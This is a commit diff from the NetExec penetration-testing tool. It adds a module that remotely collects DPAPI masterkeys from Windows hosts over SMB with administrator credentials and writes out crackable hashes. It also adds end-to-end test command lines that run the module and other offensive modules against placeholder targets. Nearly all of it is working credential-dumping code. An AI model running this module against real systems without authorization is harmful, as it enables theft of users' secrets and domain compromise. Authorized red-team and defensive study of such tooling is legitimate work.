Merge branch 'main' into backup_operator

nxc/modules/dpapi_hash.py

@@ -0,0 +1,63 @@
+from dploot.lib.target import Target
+from dploot.triage.masterkeys import MasterkeysTriage
+
+from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
+
+# Based on dpapimk2john, original work by @fist0urs
+
+class NXCModule:
+    name = "dpapi_hash"
+    description = "Remotely dump Dpapi hash based on masterkeys"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def options(self, context, module_options):
+        """OUTPUTFILE       Output file to write hashes"""
+        self.outputfile = None
+        if "OUTPUTFILE" in module_options:
+            self.outputfile = module_options["OUTPUTFILE"]
+
+    def on_admin_login(self, context, connection):
+        username = connection.username
+        password = getattr(connection, "password", "")
+        nthash = getattr(connection, "nthash", "")
+
+        target = Target.create(
+            domain=connection.domain,
+            username=username,
+            password=password,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            lmhash=getattr(connection, "lmhash", ""),
+            nthash=nthash,
+            do_kerberos=connection.kerberos,
+            aesKey=connection.aesKey,
+            no_pass=True,
+            use_kcache=getattr(connection, "use_kcache", False),
+        )
+
+        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
+        if conn is None:
+            context.log.debug("Could not upgrade connection")
+            return
+
+        try:
+            context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
+            masterkeys_triage = MasterkeysTriage(
+                target=target,
+                conn=conn,
+            )
+            context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
+            context.log.debug("Collecting user masterkeys")
+            masterkeys_triage.triage_masterkeys()
+            if self.outputfile is not None:
+                with open(self.outputfile, "a+") as fd:
+                    for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
+                        context.log.highlight(mkhash)
+                        fd.write(f"{mkhash}\n")
+            else:
+                for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
+                    context.log.highlight(mkhash)
+
+        except Exception as e:
+            context.log.debug(f"Could not get masterkeys: {e}")

tests/e2e_commands.txt

@@ -65,6 +65,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt 
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener